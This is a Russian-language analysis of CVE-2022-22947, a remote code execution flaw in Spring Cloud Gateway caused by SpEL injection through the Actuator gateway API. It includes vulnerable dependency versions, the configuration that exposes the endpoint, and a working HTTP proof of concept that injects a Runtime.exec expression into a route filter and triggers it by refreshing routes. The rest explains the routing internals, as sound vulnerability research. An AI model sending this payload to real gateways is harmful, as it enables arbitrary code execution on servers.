Детальный анализ и эксплойт для CVE-2022-22947, уязвимость удаленного выполнения кода в Spring Cloud Gateway через внедрение SpEL в Actuator API. Включает PoC, внедрение memory shell и разбор первопричины.
Spring Cloud Gateway — это новый проект Spring Cloud, шлюз, разработанный на основе технологий Spring 5.0, Spring Boot 2.0 и Project Reactor. Он предназначен для предоставления простого и эффективного унифицированного управления маршрутизацией API для микросервисной архитектуры. Недавно в Spring Cloud Gateway была обнаружена критическая RCE-уязвимость CVE. Информация о CVE показывает, что когда приложение включает и открывает конечную точку Gateway Actuator Spring Cloud Gateway, оно подвержено атаке удаленного внедрения кода. Злоумышленник может отправлять вредоносные запросы и удаленно выполнять произвольный код. Затронутые версии:
Данный анализ воспроизводит эту CVE для изучения принципа уязвимости и дальнейших способов эксплуатации.
Создайте проект Maven, используя следующие зависимости:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
В конфигурации Spring Boot по умолчанию только endpoint health открыт для веб-доступа. Если необходимо открыть gateway, требуется ручная настройка, обратитесь к [официальной документации](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) и [【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api):```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Отправьте следующий POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Затем отправьте ```POST /actuator/gateway/refresh``` для обновления кеша маршрутов, что вызовет срабатывание POC:

## Анализ принципа работы
Рассмотрим приведённый выше POC: сначала через ```POST /actuator/gateway/routes/test2``` динамически добавляется маршрут. В процессе добавления маршрута есть фильтр, который при обработке входного параметра может интерпретировать это значение как SpEL-выражение, а затем при обновлении кеша маршрутов происходит выполнение POC.
Сначала рассмотрим механизм конфигурации динамических маршрутов Spring Cloud Gateway.
### Конфигурация динамических маршрутов
Spring Cloud Gateway поддерживает регистрацию маршрутов через код/файлы конфигурации. Рассмотрим [демонстрацию](https://spring.io/guides/gs/gateway/) с официального сайта:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
Способ конфигурационных файлов аналогичен коду:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Маршруты, добавленные этими двумя способами, являются фиксированными. Если необходимо добавить, изменить или удалить конфигурации и правила маршрутов, придется перезапустить приложение, чтобы изменения вступили в силу. Однако в реальных условиях Spring Cloud Gateway, будучи входной точкой для всего трафика, должен обеспечивать высокую доступность системы. Поэтому после того, как Spring Cloud Gateway предоставляет эндпоинт `/gateway`, через `/gateway/routes` можно динамически добавлять, удалять и изменять информацию о маршрутах. Но информация о маршрутах, добавленная таким образом, хранится только в памяти — как только служба перезапускается, вновь добавленные конфигурации маршрутов теряются.
Из приведенного выше формата регистрации маршрутов можно заметить, что информация о маршруте включает целевой URI, набор фильтров и набор предикатов. Предикаты могут сопоставлять запросы на основе любого содержимого HTTP-запроса (заголовков, параметров). Spring Cloud Gateway имеет множество встроенных фабрик предикатов маршрутов (Route Predicate Factories), таких как Before, After, Between, Cookie, Header, Host, [Path и другие](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

Фильтры используются для изменения запроса или ответа до или после отправки запроса. Они также включают множество встроенных наборов фильтров. В приведенной выше полезной нагрузке для инициирования RCE мы использовали фильтр AddResponseHeader. Другие фильтры: RewritePath, SetPath и т.д. Существует два типа фильтров: GlobalFilter, который действует для всех маршрутов, и GatewayFilter, который действует только для одного маршрута. Подробности можно найти по ссылке https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Процесс запроса
Итак, какова конкретная последовательность прохождения запроса через Gateway к внутренней проксируемой службе? На официальной диаграмме этот процесс выглядит следующим образом:

Клиент отправляет запрос в Spring Cloud Gateway. Затем в Gateway Handler Mapping находится маршрут, соответствующий запросу, и запрос перенаправляется в Gateway Web Handler. Handler, в свою очередь, через заданную цепочку фильтров отправляет запрос к нашей фактической службе для выполнения бизнес-логики, после чего возвращает ответ. Фильтры разделены пунктирными линиями, потому что они могут выполнять бизнес-логику до (pre) или после (post) отправки прокси-запроса.
RoutePredicateHandlerMapping находит маршрут, который затем обрабатывается webHandler:

В webHandler находятся gatewayFilters и globalFilters, затем они сортируются по значению Order, определенному в фильтрах, формируя цепочку фильтров (filter chain), и выполняются все фильтры.
